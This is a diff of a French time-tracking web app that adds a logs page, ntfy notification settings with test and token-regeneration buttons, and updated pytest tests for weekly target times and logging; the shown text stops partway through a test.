|
||||
@ -284,11 +285,11 @@
|
||||
.jour-nom { display: block; font-weight: 500; font-size: 13px; }
|
||||
.jour-date { display: block; font-family: var(--mono); font-size: 11px; color: var(--muted); }
|
||||
|
||||
.time-pair { display: flex; align-items: center; gap: 4px; justify-content: center; }
|
||||
.time-pair { display: flex; align-items: center; gap: 3px; justify-content: center; }
|
||||
.time-sep { color: var(--rule); font-size: 11px; flex-shrink: 0; }
|
||||
.time-input {
|
||||
width: 80px;
|
||||
padding: .28rem .4rem;
|
||||
width: 70px;
|
||||
padding: .28rem .35rem;
|
||||
border: 1px solid var(--rule);
|
||||
border-radius: 0;
|
||||
font-family: var(--mono);
|
||||
@ -316,10 +317,10 @@
|
||||
|
||||
/* Cumulative delta and sortie cible columns */
|
||||
.col-cumul { text-align: right; padding-left: .5rem; }
|
||||
.col-cible { text-align: right; padding-left: .5rem; }
|
||||
.col-cible { text-align: right; padding-left: .5rem; white-space: normal; min-width: 110px; }
|
||||
.g-cumul { text-align: right; }
|
||||
.g-cible { text-align: right; }
|
||||
.cible-num { font-family: var(--mono); font-size: 12px; color: var(--accent); font-weight: 500; }
|
||||
.cible-num { font-family: var(--mono); font-size: 12px; color: var(--accent); font-weight: 500; display: inline-block; }
|
||||
|
||||
.col-save { text-align: center; padding: .4rem .3rem; }
|
||||
.g-save { background: var(--ground); }
|
||||
@ -1032,7 +1033,9 @@
|
||||
{% if current_user is defined and current_user %}
|
||||
<a href="/" class="nav-link">Semaine courante</a>
|
||||
<a href="/stats" class="nav-link">Statistiques</a>
|
||||
<a href="/logs" class="nav-link">Journaux</a>
|
||||
<a href="/settings" class="nav-link">Réglages</a>
|
||||
<a href="/aide" class="nav-link">Aide</a>
|
||||
<span class="nav-user">{{ current_user }}</span>
|
||||
<a href="/logout" class="nav-link nav-logout">Déconnexion</a>
|
||||
{% endif %}
|
||||
|
||||
145
app/templates/logs.html
Normal file
145
app/templates/logs.html
Normal file
@ -0,0 +1,145 @@
|
||||
{% extends "base.html" %}
|
||||
{% block content %}
|
||||
<div class="stats-head">
|
||||
<div>
|
||||
<span class="stats-title">Journaux</span>
|
||||
<div class="stats-meta">
|
||||
Notifications ntfy et détections de présence (Automation) — {{ current_user }}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="logs-tabs" role="tablist">
|
||||
{% set counts = {'all': logs|length, 'notif': logs | selectattr('type', 'equalto', 'notif') | list | length, 'presence': logs | selectattr('type', 'equalto', 'presence') | list | length, 'settings': logs | selectattr('type', 'equalto', 'settings') | list | length} %}
|
||||
<a class="ltab{% if filter == 'all' %} active{% endif %}" href="/logs" role="tab">
|
||||
Tout <span class="ltab-count">{{ counts.all }}</span>
|
||||
</a>
|
||||
<a class="ltab{% if filter == 'notif' %} active{% endif %}" href="/logs?filter=notif" role="tab">
|
||||
Notifications <span class="ltab-count">{{ counts.notif }}</span>
|
||||
</a>
|
||||
<a class="ltab{% if filter == 'presence' %} active{% endif %}" href="/logs?filter=presence" role="tab">
|
||||
Présence <span class="ltab-count">{{ counts.presence }}</span>
|
||||
</a>
|
||||
<a class="ltab{% if filter == 'settings' %} active{% endif %}" href="/logs?filter=settings" role="tab">
|
||||
Réglages <span class="ltab-count">{{ counts.settings }}</span>
|
||||
</a>
|
||||
</div>
|
||||
|
||||
{% set visible = logs if filter == 'all' else logs | selectattr('type', 'equalto', filter) | list %}
|
||||
|
||||
{% if visible %}
|
||||
<div class="logs-list">
|
||||
{% for entry in visible %}
|
||||
<div class="log-row log-{{ entry.type }}{% if entry.event == 'échec' %} log-failed{% endif %}">
|
||||
<div class="log-ts">{{ entry.ts }}</div>
|
||||
<div class="log-type">{{ {'notif': 'Notification', 'presence': 'Présence', 'settings': 'Réglages'}[entry.type] }}</div>
|
||||
<div class="log-body">
|
||||
<span class="log-event">{{ entry.event }}</span>
|
||||
{% if entry.message %}<span class="log-msg">{{ entry.message }}</span>{% endif %}
|
||||
</div>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% else %}
|
||||
<div class="logs-empty">Aucun événement enregistré pour le moment.</div>
|
||||
{% endif %}
|
||||
|
||||
<style>
|
||||
.logs-tabs {
|
||||
display: flex;
|
||||
gap: .4rem;
|
||||
border-bottom: 1.5px solid var(--rule);
|
||||
padding-bottom: .6rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.ltab {
|
||||
font-family: var(--mono);
|
||||
font-size: 11px;
|
||||
letter-spacing: .04em;
|
||||
color: var(--muted);
|
||||
text-decoration: none;
|
||||
border: 1.5px solid var(--rule);
|
||||
padding: .35rem .7rem;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: .45rem;
|
||||
transition: border-color .15s, color .15s, background .15s;
|
||||
}
|
||||
.ltab:hover { border-color: var(--text); color: var(--text); }
|
||||
.ltab.active { border-color: var(--text); color: var(--text); background: var(--surface); }
|
||||
.ltab-count {
|
||||
font-size: 10px;
|
||||
background: var(--ground);
|
||||
border: 1px solid var(--rule);
|
||||
padding: .05rem .35rem;
|
||||
color: var(--muted);
|
||||
}
|
||||
|
||||
.logs-list {
|
||||
border: 1.5px solid var(--rule);
|
||||
background: var(--surface);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
.log-row {
|
||||
display: grid;
|
||||
grid-template-columns: 180px 130px 1fr;
|
||||
gap: 1rem;
|
||||
padding: .55rem 1rem;
|
||||
border-bottom: 1px solid var(--rule-l);
|
||||
font-size: 13px;
|
||||
align-items: baseline;
|
||||
}
|
||||
.log-row:last-child { border-bottom: none; }
|
||||
.log-row:hover { background: var(--ground); }
|
||||
.log-ts {
|
||||
font-family: var(--mono);
|
||||
font-size: 11px;
|
||||
color: var(--muted);
|
||||
white-space: nowrap;
|
||||
}
|
||||
.log-type {
|
||||
font-family: var(--mono);
|
||||
font-size: 10px;
|
||||
letter-spacing: .06em;
|
||||
text-transform: uppercase;
|
||||
color: var(--muted);
|
||||
white-space: nowrap;
|
||||
}
|
||||
.log-notif .log-type { color: var(--accent); }
|
||||
.log-presence .log-type { color: var(--accent-2); }
|
||||
.log-settings .log-type { color: var(--conge-txt); }
|
||||
.log-body { display: flex; flex-direction: column; gap: .15rem; }
|
||||
.log-event {
|
||||
font-weight: 500;
|
||||
color: var(--text);
|
||||
}
|
||||
.log-msg {
|
||||
font-size: 12px;
|
||||
color: var(--muted);
|
||||
line-height: 1.45;
|
||||
}
|
||||
.log-failed {
|
||||
background: var(--neg-bg);
|
||||
}
|
||||
.log-failed .log-event { color: var(--neg); }
|
||||
.log-failed:hover { background: var(--neg-bg); }
|
||||
|
||||
.logs-empty {
|
||||
border: 1.5px solid var(--rule);
|
||||
background: var(--surface);
|
||||
padding: 2rem;
|
||||
text-align: center;
|
||||
color: var(--muted);
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
@media (max-width: 640px) {
|
||||
.log-row {
|
||||
grid-template-columns: 1fr;
|
||||
gap: .2rem;
|
||||
}
|
||||
.log-ts { font-size: 10px; }
|
||||
}
|
||||
</style>
|
||||
{% endblock %}
|
||||
@ -53,7 +53,7 @@
|
||||
<th class="g-calc" rowspan="2">Travaillé</th>
|
||||
<th class="g-calc" rowspan="2">Δ jour</th>
|
||||
<th class="g-cumul" rowspan="2">Δ sem.</th>
|
||||
<th class="g-cible" rowspan="2">Fin cible</th>
|
||||
<th class="g-cible" rowspan="2">Cible</th>
|
||||
<th class="g-save" rowspan="2"></th>
|
||||
<th class="g-conge" rowspan="2">Congé</th>
|
||||
</tr>
|
||||
|
||||
@ -51,11 +51,12 @@
|
||||
</div>
|
||||
|
||||
<div class="settings-card">
|
||||
<span class="hist-label">Notifications (ntfy)</span>
|
||||
<span class="hist-label">Notifications (ntfy) <a href="/aide" class="settings-help-link">Aide</a></span>
|
||||
<p class="settings-p">
|
||||
Crée un topic sur ton serveur <a href="https://ntfy.sh" target="_blank" rel="noopener">ntfy</a>
|
||||
(public ou auto-hébergé), un identifiant secret que toi seul connais, abonne-toi dessus avec
|
||||
l'app ntfy sur ton téléphone, puis renseigne les deux champs ci-dessous.
|
||||
l'app ntfy sur ton téléphone, puis renseigne les deux champs ci-dessous. Guide complet sur
|
||||
la page <a href="/aide">Aide</a>.
|
||||
</p>
|
||||
|
||||
{% if saved %}
|
||||
@ -83,6 +84,16 @@
|
||||
placeholder="ex: antoine-pointeuse-x7f2"
|
||||
autocomplete="off"
|
||||
>
|
||||
<label class="login-label" for="ntfy_token">Jeton d'accès (optionnel, serveur protégé)</label>
|
||||
<input
|
||||
id="ntfy_token"
|
||||
class="login-input"
|
||||
type="password"
|
||||
name="ntfy_token"
|
||||
value="{{ ntfy_token }}"
|
||||
placeholder="ex: tk_xxxxxxxxxxxxxxxx"
|
||||
autocomplete="off"
|
||||
>
|
||||
<label class="login-label" for="rappel_debut_h">Plage horaire des rappels</label>
|
||||
<div class="settings-range">
|
||||
<input
|
||||
@ -102,27 +113,51 @@
|
||||
</div>
|
||||
<button class="login-btn" type="submit">Enregistrer</button>
|
||||
</form>
|
||||
<div class="settings-test-row">
|
||||
<button
|
||||
class="login-btn settings-test-btn"
|
||||
hx-post="/settings/test-ntfy"
|
||||
hx-target="#ntfy-test-result"
|
||||
hx-swap="innerHTML"
|
||||
hx-disabled-elt="this"
|
||||
>Tester la notification</button>
|
||||
<span id="ntfy-test-result"></span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="settings-card">
|
||||
<span class="hist-label">Détection de présence (Tasker)</span>
|
||||
<span class="hist-label">Détection de présence (Automation) <a href="/aide" class="settings-help-link">Aide</a></span>
|
||||
<p class="settings-p">
|
||||
Crée une automatisation Tasker déclenchée par une géofence autour du bureau : à l'<b>entrée</b> de la
|
||||
zone, appelle l'URL "arrivée" ; à la <b>sortie</b>, l'URL "départ". Tant que tu es détecté présent sans
|
||||
avoir pointé l'entrée du matin, ou parti sans avoir pointé la sortie, tu reçois un rappel toutes les
|
||||
5 minutes, dans la plage horaire réglée ci-dessus (jours ouvrés).
|
||||
Crée une automatisation <a href="https://f-droid.org/en/packages/com.jens.automation2/" target="_blank" rel="noopener">Automation</a>
|
||||
déclenchée par le Wi-Fi du bureau (ou une géofence) : à la <b>connexion</b>/entrée, appelle l'URL « arrivée » ;
|
||||
à la <b>déconnexion</b>/sortie, l'URL « départ ». Tant que tu es détecté présent sans
|
||||
avoir pointé l'entrée du matin, ou parti sans avoir pointé la sortie, tu reçois un rappel
|
||||
selon l'intervalle réglé ci-dessus, dans la plage horaire configurée (jours ouvrés).
|
||||
Étapes détaillées sur la page <a href="/aide">Aide</a>.
|
||||
</p>
|
||||
<div class="settings-urlrow">
|
||||
<span class="settings-urllabel">Arrivée</span>
|
||||
<code class="settings-url">{{ arrivee_url }}</code>
|
||||
</div>
|
||||
<div class="settings-urlrow">
|
||||
<span class="settings-urllabel">Départ</span>
|
||||
<code class="settings-url">{{ depart_url }}</code>
|
||||
<div id="presence-urls">
|
||||
<div class="settings-urlrow">
|
||||
<span class="settings-urllabel">Arrivée</span>
|
||||
<code class="settings-url">{{ arrivee_url }}</code>
|
||||
</div>
|
||||
<div class="settings-urlrow">
|
||||
<span class="settings-urllabel">Départ</span>
|
||||
<code class="settings-url">{{ depart_url }}</code>
|
||||
</div>
|
||||
</div>
|
||||
<p class="settings-hint">
|
||||
Ces URLs sont secrètes (elles contiennent ton token) — ne les partage pas.
|
||||
En cas de compromission, régénère le token : les anciennes URLs cesseront de fonctionner
|
||||
et tu devras mettre à jour Tasker avec les nouvelles.
|
||||
</p>
|
||||
<button
|
||||
class="login-btn settings-regen-btn"
|
||||
hx-post="/settings/regenerate-presence-token"
|
||||
hx-target="#presence-urls"
|
||||
hx-swap="outerHTML"
|
||||
hx-confirm="Régénérer le token ? Les URLs actuelles cesseront immédiatement de fonctionner, tu devras mettre à jour Tasker."
|
||||
hx-disabled-elt="this"
|
||||
>Régénérer le token</button>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
@ -184,5 +219,51 @@
|
||||
.time-range-input::-webkit-calendar-picker-indicator {
|
||||
margin-left: .5rem;
|
||||
}
|
||||
.settings-help-link {
|
||||
font-family: var(--mono);
|
||||
font-size: 10px;
|
||||
letter-spacing: .04em;
|
||||
color: var(--accent);
|
||||
text-decoration: none;
|
||||
border: 1px solid var(--rule);
|
||||
padding: .1rem .4rem;
|
||||
margin-left: .5rem;
|
||||
vertical-align: middle;
|
||||
transition: border-color .15s, background .15s;
|
||||
}
|
||||
.settings-help-link:hover {
|
||||
border-color: var(--accent);
|
||||
background: rgba(47,95,160,.06);
|
||||
}
|
||||
.settings-test-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: .75rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.settings-test-btn {
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.settings-regen-btn {
|
||||
align-self: flex-start;
|
||||
border-color: var(--neg);
|
||||
color: var(--neg);
|
||||
}
|
||||
.settings-regen-btn:hover:not([disabled]) {
|
||||
background: var(--neg-bg);
|
||||
}
|
||||
#ntfy-test-result {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
#ntfy-test-result:empty { display: none; }
|
||||
#ntfy-test-result:not(:empty) {
|
||||
font-family: var(--mono);
|
||||
font-size: 12px;
|
||||
padding: .5rem .8rem;
|
||||
border-left: 3px solid var(--muted);
|
||||
background: var(--ground);
|
||||
line-height: 1.45;
|
||||
}
|
||||
</style>
|
||||
{% endblock %}
|
||||
|
||||
@ -1,9 +1,23 @@
|
||||
"""Freezes calcul.py's notion of "today" for deterministic tests."""
|
||||
"""Fixtures partagées pour les tests.
|
||||
|
||||
Freeze "today" pour des calculs déterministes ET installe un DATA_DIR
|
||||
temporaire unique pour tout le process de test, afin que tous les modules
|
||||
de tests (test_logs, test_security, ...) partagent le même stockage.
|
||||
"""
|
||||
import datetime as dt_module
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
import calcul
|
||||
import models
|
||||
|
||||
# ── DATA_DIR unique pour tout le run ─────────────────────────────────────────
|
||||
_TMP = Path(tempfile.mkdtemp())
|
||||
models.DATA_DIR = _TMP
|
||||
models.CONFIG_FILE = models.DATA_DIR / "config.json"
|
||||
models.CONFIG_FILE.write_text('{"heures_semaine": 39.0, "jours_par_semaine": 5, "allowed_email_domain": "x.fr"}')
|
||||
|
||||
|
||||
class FrozenDatetime(dt_module.datetime):
|
||||
|
||||
@ -113,6 +113,8 @@ def test_compute_week_cible_repartie_sur_seule_demi_journee_restante(freeze_toda
|
||||
|
||||
assert vendredi["cible_matin"] is None # matin déjà pointé (entrée+sortie), plus rien à y faire
|
||||
assert vendredi["cible_aprem"] == "18:18"
|
||||
# La préconisation aprem inclut aussi l'heure d'arrivée (reprise par défaut 13:30)
|
||||
assert vendredi["cible_aprem_entree"] == "13:30"
|
||||
|
||||
|
||||
def test_compute_week_semaine_totalement_vide_compte_les_10_demi_journees(freeze_today):
|
||||
@ -126,10 +128,11 @@ def test_compute_week_semaine_totalement_vide_compte_les_10_demi_journees(freeze
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
assert result["slots_restants"] == 10
|
||||
assert result["reste_min"] == HEURES_JOUR_MIN * 5
|
||||
# Rien n'est encore en retard puisque rien n'a encore été renseigné : le rythme
|
||||
# normal (à répartir librement sur les 10 demi-journées) suffit, pas de cible imposée.
|
||||
# Pas de retard (rien n'a encore été renseigné) : le rythme normal suffit, extra = 0.
|
||||
# Mais chaque demi-journée reste propose son horaire visé (matin 09:00→12:00,
|
||||
# aprem 13:30→18:18 avec le surplus nominal basculé depuis le matin saturé).
|
||||
assert result["extra_min"] == 0
|
||||
assert all(j["cible_matin"] is None and j["cible_aprem"] is None for j in result["jours"])
|
||||
assert all(j["cible_matin"] == "12:00" and j["cible_aprem"] == "18:18" for j in result["jours"])
|
||||
|
||||
|
||||
def test_compute_week_jour_futur_non_entame_recoit_une_cible_repartie(freeze_today):
|
||||
@ -148,30 +151,34 @@ def test_compute_week_jour_futur_non_entame_recoit_une_cible_repartie(freeze_tod
|
||||
assert lundi_suivant["cible_matin"] is not None or lundi_suivant["cible_aprem"] is not None
|
||||
|
||||
|
||||
def test_compute_week_jour_futur_a_egalite_pas_de_cible(freeze_today):
|
||||
"""Quand le rythme normal des demi-journées restantes suffit déjà, aucune cible n'est affichée."""
|
||||
def test_compute_week_jour_futur_a_egalite_propose_le_rythme_normal(freeze_today):
|
||||
"""Quand le rythme normal des demi-journées restantes suffit (pas de rattrapage),
|
||||
les horaires visés du matin et de l'après-midi sont quand même proposés."""
|
||||
dates_completes = ["2026-07-13", "2026-07-14", "2026-07-15", "2026-07-16", "2026-07-17"]
|
||||
pointages = _semaine_complete(dates_completes)
|
||||
pointages.append(_pointage("2026-07-20")) # lundi suivant, rien pointé — mais la semaine est déjà à l'équilibre
|
||||
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
lundi_suivant = result["jours"][5]
|
||||
assert lundi_suivant["cible_matin"] is None
|
||||
assert lundi_suivant["cible_aprem"] is None
|
||||
assert result["extra_min"] == 0
|
||||
assert lundi_suivant["cible_matin"] == "12:00"
|
||||
assert lundi_suivant["cible_aprem"] == "18:18"
|
||||
|
||||
|
||||
def test_compute_week_jour_courant_non_entame_rythme_normal_suffit(freeze_today):
|
||||
def test_compute_week_jour_courant_non_entame_propose_le_rythme_normal(freeze_today):
|
||||
""""Aujourd'hui" sans rien pointé n'est pas traité comme un jour futur figé : ses deux
|
||||
demi-journées entrent dans la répartition. Ici le manque (468 min) correspond exactement
|
||||
au nominal des deux demi-journées restantes : le rythme normal suffit, pas de cible."""
|
||||
au nominal des deux demi-journées restantes : le rythme normal suffit, mais les horaires
|
||||
visés matin et aprem restent proposés."""
|
||||
dates_completes = ["2026-07-13", "2026-07-14", "2026-07-15", "2026-07-16"]
|
||||
pointages = _semaine_complete(dates_completes)
|
||||
pointages.append(_pointage("2026-07-17"))
|
||||
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
vendredi = result["jours"][4]
|
||||
assert vendredi["cible_matin"] is None
|
||||
assert vendredi["cible_aprem"] is None
|
||||
assert result["extra_min"] == 0
|
||||
assert vendredi["cible_matin"] == "12:00"
|
||||
assert vendredi["cible_aprem"] == "18:18"
|
||||
|
||||
|
||||
def test_compute_week_demi_journee_en_cours_pas_de_double_comptage(freeze_today):
|
||||
@ -194,8 +201,9 @@ def test_compute_week_demi_journee_en_cours_pas_de_double_comptage(freeze_today)
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
vendredi = result["jours"][4]
|
||||
assert result["extra_min"] == 60
|
||||
# matin saturé au nominal (09:00→12:00), pas de cible ; aprem : 13:30 + 288 + 60 = 19:18
|
||||
assert vendredi["cible_matin"] is None
|
||||
# matin en cours : sa cible correspond au planning nominal (09:00→12:00), pas de rattrapage
|
||||
# possible (saturé au plafond pause) ; aprem : 13:30 + 288 + 60 = 19:18
|
||||
assert vendredi["cible_matin"] == "12:00"
|
||||
assert vendredi["cible_aprem"] == "19:18"
|
||||
|
||||
|
||||
@ -221,7 +229,9 @@ def test_compute_week_cible_matin_ne_mange_jamais_la_pause_de_midi(freeze_today)
|
||||
# 120 min de retard + 54 min de nominal matin qui ne tiennent pas avant la pause
|
||||
# (et ne peuvent pas basculer sur l'après-midi, en congé)
|
||||
assert result["extra_min"] == 174
|
||||
assert vendredi["cible_matin"] is None
|
||||
# Le matin (seul créneau dispo, aprem en congé) est saturé à son plafond 09:00→12:00 :
|
||||
# cible proposée au rythme normal, mais le rattrapage (174 min) ne tient pas.
|
||||
assert vendredi["cible_matin"] == "12:00"
|
||||
assert vendredi["cible_aprem"] is None # congé
|
||||
|
||||
|
||||
@ -243,8 +253,8 @@ def test_compute_week_surplus_creneau_sature_reporte_sur_les_autres(freeze_today
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
vendredi = result["jours"][4]
|
||||
assert result["extra_min"] == 80
|
||||
# matin saturé au nominal, pas de cible ; aprem : 13:30 + 288 + 80 = 19:38
|
||||
assert vendredi["cible_matin"] is None
|
||||
# matin saturé au nominal (cible au rythme normal 09:00→12:00) ; aprem : 13:30 + 288 + 80 = 19:38
|
||||
assert vendredi["cible_matin"] == "12:00"
|
||||
assert vendredi["cible_aprem"] == "19:38"
|
||||
|
||||
|
||||
@ -273,7 +283,7 @@ def test_compute_week_avance_reduit_les_departs_du_soir_restants(freeze_today):
|
||||
result = compute_week(pointages, [], heures_jour, plages)
|
||||
assert result["extra_min"] == 0 # extra_min ne compte que le retard, pas l'avance
|
||||
for jour in result["jours"][1:]:
|
||||
assert jour["cible_matin"] is None
|
||||
assert jour["cible_matin"] == "13:00" # rythme normal, jamais ajusté par l'avance
|
||||
assert jour["cible_aprem"] == "17:55"
|
||||
|
||||
|
||||
@ -301,6 +311,7 @@ def test_compute_week_avance_ne_descend_jamais_sous_aprem_fin(freeze_today):
|
||||
def test_compute_week_cible_matin_jamais_ajustee_meme_avec_de_la_marge(freeze_today):
|
||||
"""Le rattrapage hebdomadaire ne porte jamais sur le matin, même quand la
|
||||
matinée obligatoire est plus longue que le nominal et aurait de la marge.
|
||||
Le matin garde son horaire nominal (rythme normal), non ajusté.
|
||||
|
||||
Matin 08:00→13:00 (capacité 300 > nominal 270). Vendredi en congé après-midi,
|
||||
120 min de retard : le seul créneau ouvert (le matin) n'est pas ajustable, le
|
||||
@ -323,14 +334,14 @@ def test_compute_week_cible_matin_jamais_ajustee_meme_avec_de_la_marge(freeze_to
|
||||
result = compute_week(pointages, conges, heures_jour, plages)
|
||||
vendredi = result["jours"][4]
|
||||
assert result["extra_min"] == 120
|
||||
assert vendredi["cible_matin"] is None
|
||||
assert vendredi["cible_matin"] == "12:30" # rythme normal (08:00 + 270 nominal), pas de rattrapage
|
||||
assert vendredi["cible_aprem"] is None # congé
|
||||
|
||||
|
||||
def test_compute_week_arrivee_visee_n_etend_pas_le_rattrapage_au_matin(freeze_today):
|
||||
"""L'arrivée visée sert de début projeté du matin (pour le calcul du surplus
|
||||
basculant vers l'après-midi), mais n'ouvre jamais le matin au rattrapage
|
||||
hebdomadaire — celui-ci reste réservé aux départs du soir.
|
||||
"""L'arrivée visée sert de début projeté du matin (pour le rythme normal affiché
|
||||
et le calcul du surplus basculant vers l'après-midi), mais n'ouvre jamais le
|
||||
matin au rattrapage hebdomadaire — celui-ci reste réservé aux départs du soir.
|
||||
"""
|
||||
plages = {"arrivee_visee": "08:00"}
|
||||
conges = [{"date": "2026-07-17", "type": "aprem"}]
|
||||
@ -344,7 +355,7 @@ def test_compute_week_arrivee_visee_n_etend_pas_le_rattrapage_au_matin(freeze_to
|
||||
result = compute_week(pointages, conges, HEURES_JOUR_MIN, plages)
|
||||
vendredi = result["jours"][4]
|
||||
assert result["extra_min"] == 120
|
||||
assert vendredi["cible_matin"] is None
|
||||
assert vendredi["cible_matin"] == "11:54" # rythme normal (08:00 + 234 nominal), pas de rattrapage
|
||||
|
||||
|
||||
def test_compute_week_depart_vise_plafond_souple(freeze_today):
|
||||
@ -372,7 +383,7 @@ def test_compute_week_depart_vise_plafond_souple(freeze_today):
|
||||
# vendredi aprem : 13:30 + 234 + (36 + 9) = 18:09 ; lundi aprem : 13:30 + 288 + 9 = 18:27
|
||||
# (sans départ visé, lundi finirait à 18:45)
|
||||
assert vendredi["cible_aprem"] == "18:09"
|
||||
assert lundi["cible_matin"] is None
|
||||
assert lundi["cible_matin"] == "12:00" # matin au rythme normal (pas de rattrapage pour ce créneau)
|
||||
assert lundi["cible_aprem"] == "18:27"
|
||||
|
||||
|
||||
|
||||
342
app/tests/test_logs.py
Normal file
342
app/tests/test_logs.py
Normal file
@ -0,0 +1,342 @@
|
||||
"""Smoke tests pour les nouvelles routes /logs et /aide + journalisation présence."""
|
||||
import sys
|
||||
|
||||
# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
|
||||
import models # noqa: F401 (réexport pratique pour les tests ci-dessous)
|
||||
|
||||
sys.path.insert(0, ".")
|
||||
import main
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
client = TestClient(main.app)
|
||||
|
||||
|
||||
def _login_as(uid: str):
|
||||
"""Crée un user avec mdp puis se connecte (renvoie les cookies signés)."""
|
||||
import bcrypt
|
||||
models.save_auth(uid, email=f"{uid}@x.fr",
|
||||
password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())
|
||||
r = client.post("/login/password", data={"email": f"{uid}@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False)
|
||||
assert r.status_code == 302, r.text
|
||||
# Récupère le cookie user_id réellement signé par le serveur
|
||||
return {"user_id": r.cookies.get("user_id")}
|
||||
|
||||
|
||||
COOKIES = _login_as("alice")
|
||||
|
||||
|
||||
# ── Route /logs ──────────────────────────────────────────────────────────────
|
||||
|
||||
def test_logs_page_requires_auth():
|
||||
# Client frais, sans cookie, doit être redirigé vers /login
|
||||
unauth = TestClient(main.app)
|
||||
r = unauth.get("/logs", follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_logs_page_empty_for_new_user():
|
||||
r = client.get("/logs", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
assert "Journaux" in r.text
|
||||
assert "Aucun événement" in r.text # état initial
|
||||
|
||||
|
||||
def test_logs_page_shows_entries_after_presence():
|
||||
token = models.load_notif_config("alice")["token"]
|
||||
# Simule une arrivée Automation
|
||||
client.post(f"/presence/{token}/arrivee")
|
||||
# Simule un départ
|
||||
client.post(f"/presence/{token}/depart")
|
||||
|
||||
r = client.get("/logs", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
assert "arrivée" in r.text
|
||||
assert "départ" in r.text
|
||||
assert "Présence" in r.text
|
||||
assert "Aucun événement" not in r.text
|
||||
|
||||
|
||||
def test_logs_filter_query_param():
|
||||
# Toutes les entrées sont de type "presence" à ce stade
|
||||
r_all = client.get("/logs", cookies=COOKIES)
|
||||
r_notif = client.get("/logs?filter=notif", cookies=COOKIES)
|
||||
r_pres = client.get("/logs?filter=presence", cookies=COOKIES)
|
||||
|
||||
# Le filtre "notif" ne doit PAS montrer les entrées presence
|
||||
assert "arrivée" not in r_notif.text
|
||||
# Le filtre "presence" DOIT les montrer
|
||||
assert "arrivée" in r_pres.text
|
||||
assert "départ" in r_pres.text
|
||||
# Le total Tout inclut tout
|
||||
assert "arrivée" in r_all.text
|
||||
|
||||
|
||||
# ── Route /aide ──────────────────────────────────────────────────────────────
|
||||
|
||||
def test_aide_page_requires_auth():
|
||||
unauth = TestClient(main.app)
|
||||
r = unauth.get("/aide", follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_aide_page_content():
|
||||
r = client.get("/aide", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
# Vérifie la présence des sections clés
|
||||
for needle in ["ntfy", "Automation", "Aide", "topic", "géofence", "/logs"]:
|
||||
assert needle in r.text, f"missing {needle!r}"
|
||||
|
||||
|
||||
# ── Logging via notifications.send_ntfy (échec) ─────────────────────────────
|
||||
|
||||
def test_send_ntfy_failure_logs_entry():
|
||||
# Serveur injoignable (host public sans résolution) → échec → entrée de log "échec"
|
||||
import notifications
|
||||
notifications.send_ntfy(
|
||||
"https://ntfy-injoignable.invalid", "topic-injoignable",
|
||||
"msg test", "titre test", user_id="alice",
|
||||
)
|
||||
logs = models.load_logs("alice")
|
||||
assert any(l["event"] == "échec" and l["type"] == "notif" for l in logs)
|
||||
|
||||
|
||||
# ── Navigation ──────────────────────────────────────────────────────────────
|
||||
|
||||
def test_nav_links_present():
|
||||
r = client.get("/aide", cookies=COOKIES)
|
||||
assert 'href="/logs"' in r.text
|
||||
assert 'href="/aide"' in r.text
|
||||
assert 'href="/settings"' in r.text
|
||||
|
||||
|
||||
# ── Isolation par user ──────────────────────────────────────────────────────
|
||||
|
||||
def test_logs_isolated_per_user():
|
||||
# Bob ne doit pas voir les logs d'alice
|
||||
bob_cookies = _login_as("bob")
|
||||
r = client.get("/logs", cookies=bob_cookies)
|
||||
assert "arrivée" not in r.text
|
||||
assert "Aucun événement" in r.text
|
||||
|
||||
|
||||
# ── Rotation des logs ───────────────────────────────────────────────────────
|
||||
|
||||
def test_log_rotation_caps_at_max():
|
||||
# Alice a déjà quelques entrées ; on en ajoute largement > MAX_LOGS
|
||||
for i in range(models.MAX_LOGS + 50):
|
||||
models.append_log("alice", "notif", "envoyée", f"msg {i}")
|
||||
logs = models.load_logs("alice")
|
||||
assert len(logs) == models.MAX_LOGS
|
||||
# Le plus récent est bien le dernier inséré
|
||||
assert logs[0]["message"] == f"msg {models.MAX_LOGS + 49}"
|
||||
|
||||
|
||||
def test_invalid_log_type_rejected():
|
||||
try:
|
||||
models.append_log("alice", "invalid_type", "x", "y")
|
||||
assert False, "doit lever une AssertionError"
|
||||
except AssertionError:
|
||||
pass
|
||||
|
||||
|
||||
# ── Bouton de test ntfy (/settings/test-ntfy) ────────────────────────────────
|
||||
|
||||
def test_test_ntfy_requires_auth():
|
||||
unauth = TestClient(main.app)
|
||||
r = unauth.post("/settings/test-ntfy", follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_test_ntfy_without_topic_returns_error():
|
||||
# Alice n'a pas de topic configuré → message d'erreur
|
||||
models.save_notif_config("alice", ntfy_topic="", ntfy_server="https://ntfy.sh")
|
||||
r = client.post("/settings/test-ntfy", cookies=COOKIES)
|
||||
